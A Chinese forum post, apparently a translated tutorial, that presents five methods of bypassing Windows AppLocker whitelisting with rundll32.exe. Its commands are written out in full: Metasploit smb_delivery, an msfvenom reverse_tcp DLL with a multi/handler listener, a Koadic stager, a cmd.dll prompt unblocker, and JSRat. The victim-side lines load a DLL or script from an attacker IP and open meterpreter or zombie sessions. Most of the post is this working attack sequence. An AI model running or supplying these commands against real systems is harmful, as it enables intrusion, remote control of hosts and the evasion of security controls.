標題:使用rundll32.exe繞過應用程序白名單(多種方法)

taibeihacker

Moderator

0x00 前言​

本文演示了白名單AppLocker bypass的最常見和最熟悉的技術。我們知道,出於安全原因,系統管理員添加組策略來限製本地用戶的應用程序執行。在上一篇文章中,我們討論了“Windows Applocker策略 - 初学者指南”,因為它們為應用程序控制策略定義了AppLocker規則,以及如何使用它們。但今天您將學習如何使用rundll文件繞過AppLocker策略。
DLL文件對於Window的操作系統非常重要,它還決定了自定義Windows的其他程序的運行。動態鏈接庫(DLL)文件是一種文件類型,它向其他程序提供有關如何調用某些內容的指令。因此,多個軟件甚至可以同時共享這樣的DLL文件。儘管與.exe文件的格式相同,但DLL文件不能像.exe文件那樣直接執行。 dll文件擴展名可以是:dll(動態鏈接庫)、ocx(ActiveX控件)、cpl(控制面板)、drv(設備驅動程序)

0x01 运行​

當AppLocker使用時,DLL文件被分為多個部分。這使得DLL文件的運行變得簡單快捷。每個部分都在運行時安裝在主程序中。由於每個部分都不同且獨立的,所以加載時間更快,並且僅在需要所述文件的功能時才完成。此功能還使升級更容易應用,而不影響其他部分。例如,您有一個字典程序,每個月都會添加新詞,因此,對於這個程序,您所要做的就是更新它;而不需要為它安裝一個完整的另一個程序。

1.优点

使用更少的資源
促進模塊化架構
簡化部署和安裝

2.缺点

依賴DLL將升級到新版本
依賴DLL是固定的
依賴DLL將被早期版本覆蓋
從計算機中刪除依賴dll

0x02 使用DLL文件的AppLocker Bypass的不同方法​

Smb_Delivery
MSFVenom
Koadic
通過cmd.dll獲取命令提示符
JSRat

1.第一种方法:SMB Delivery​

因此,我們的方法是使用smb_delivery。要使用此方法,請在kali中打開終端並鍵入以下命令:msfconsoleuse exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) set srvhost 192.168.1.107
msf exploit(windows/smb/smb_delivery) exploit
現在,通過Windows計算機中的rundll32.exe運行惡意代碼以獲取meterpreter會話
n4y4q2fr2qo23047.png

當上述payload執行時,它將為您提供一個在受害者PC上執行的命令;以便獲得會話。因此,在受害者PC的運行窗口中復制並粘貼指定的命令,如下圖所示:
rundll32.exe\\192.168.1.107\ZtmW\test.dll,0
j2nu0edn12323048.png

一旦執行該命令,您將擁有meterpreter會話。要訪問會話類型如下所示:
sessions 1
sysinfo
gk4zeab35tm23049.png

2.第二种方法:MSFVenom

我們的第二種方法是通過MSFVenom。要使用此方法,請在kali的終端中鍵入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f dll 1.dll
q5hehlcjoc423050.png

創建payload後,在受害者PC的運行窗口中運行以下命令:
rundll32shell32.dll,Control_RunDLLC:\Users\raj\Downloads\1.dll
3xbuu3a5e4023051.png

同時,通過輸入以下命令啟動multi/handler以獲取會話,輸入命令:msfconsolemsf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
o0cd5s4hzef23052.png

3.第三种方法:Koadic

我們的下一個方法是使用Koadic框架。 Koadic是一個Windows後期開發的rootkit,類似於其他滲透測試工具,如meterpreter和PowerShellEmpire。要了解更多關於Koadic的信息,請通過以下鏈接閱讀我們關於上述框架的詳細文章:https://www.hackingarticles.in/koadic-com-command-control-framework
一旦koadic啟動並運行,輸入以下命令:
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
run
lmldaceze3423053.png

運行exploit 將獲得一個命令。將該命令從rundll32.exe複製到6.0中,並將其粘貼到受害者pc的命令提示符中。
一旦在cmd中運行了該命令,您將擁有自己的會話。如下圖所示。
要訪問會話,請輸入以下命令:
zombies 0
czchokjgtqc23054.png

4.第四种方法:通过cmd.dll获取命令提示符​

現在的難題是,如果命令提示在受害者的主機中被阻止,該怎麼做?
3kgfiklenwg23055.png

如果命令行被阻止,那麼Didier Stevens開發的腳本可以用來解決你的小問題。您可以在以下鏈接中找到它們:
在上面的URL中,您將下載一個zip文件。解壓縮該zip文件並使用以下命令在運行窗口中運行該文件:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll
hhlup4hpa3g23056.png

一旦運行該命令,您將獲得一個未阻止的cmd。如下所示:
fe45qanavxi23057.png

5.第五种方法:JSRat

我們攻擊regsvr32的下一個方法是使用jsrat,你可以從GitHub下載它。這是另一個命令和控制框架,類似於koadic和Powershell Empire,僅為rundll32.exe和regsvr32.exe生成惡意程序。 jsrat將創建一個Web服務器,在該Web服務器上,我們將找到.js文件。要使用此方法,請輸入:
/JSRat.py -i 192.168.1.107 -p 4444
rjf5vhrdhpc23058.png

一旦JSRat開始運行,它將為您提供在瀏覽器中打開的鏈接。該網頁將包含一個要在受害者主機上執行的代碼
v4xzhz3kae423059.png

因此,請在瀏覽器中打開http://192.168.1.107/wtf鏈接。在那下面你會查看到惡意的代碼,如下圖所示:
gic14coksa023060.png

在受害者PC的命令提示符中運行該代碼,如下所示:
qhucf4sddfz23061.png

您將擁有一個會話,如下圖所示:
xsw4j3itawy23062.png

0x03 总结

DLL文件是各種代碼和過程的集合。這些文件有助於Windows程序準確執行。這些文件是為多個程序創建的,以便同時使用它們。這種技術有助於減少內存使用。因此,這些文件非常重要,並且要求Windows正常運行而不會給用戶帶來任何問題。因此,通過這些文件進行利用是非常有效和致命的。以上介紹的方法是不同的方法的利用。
 
返回
上方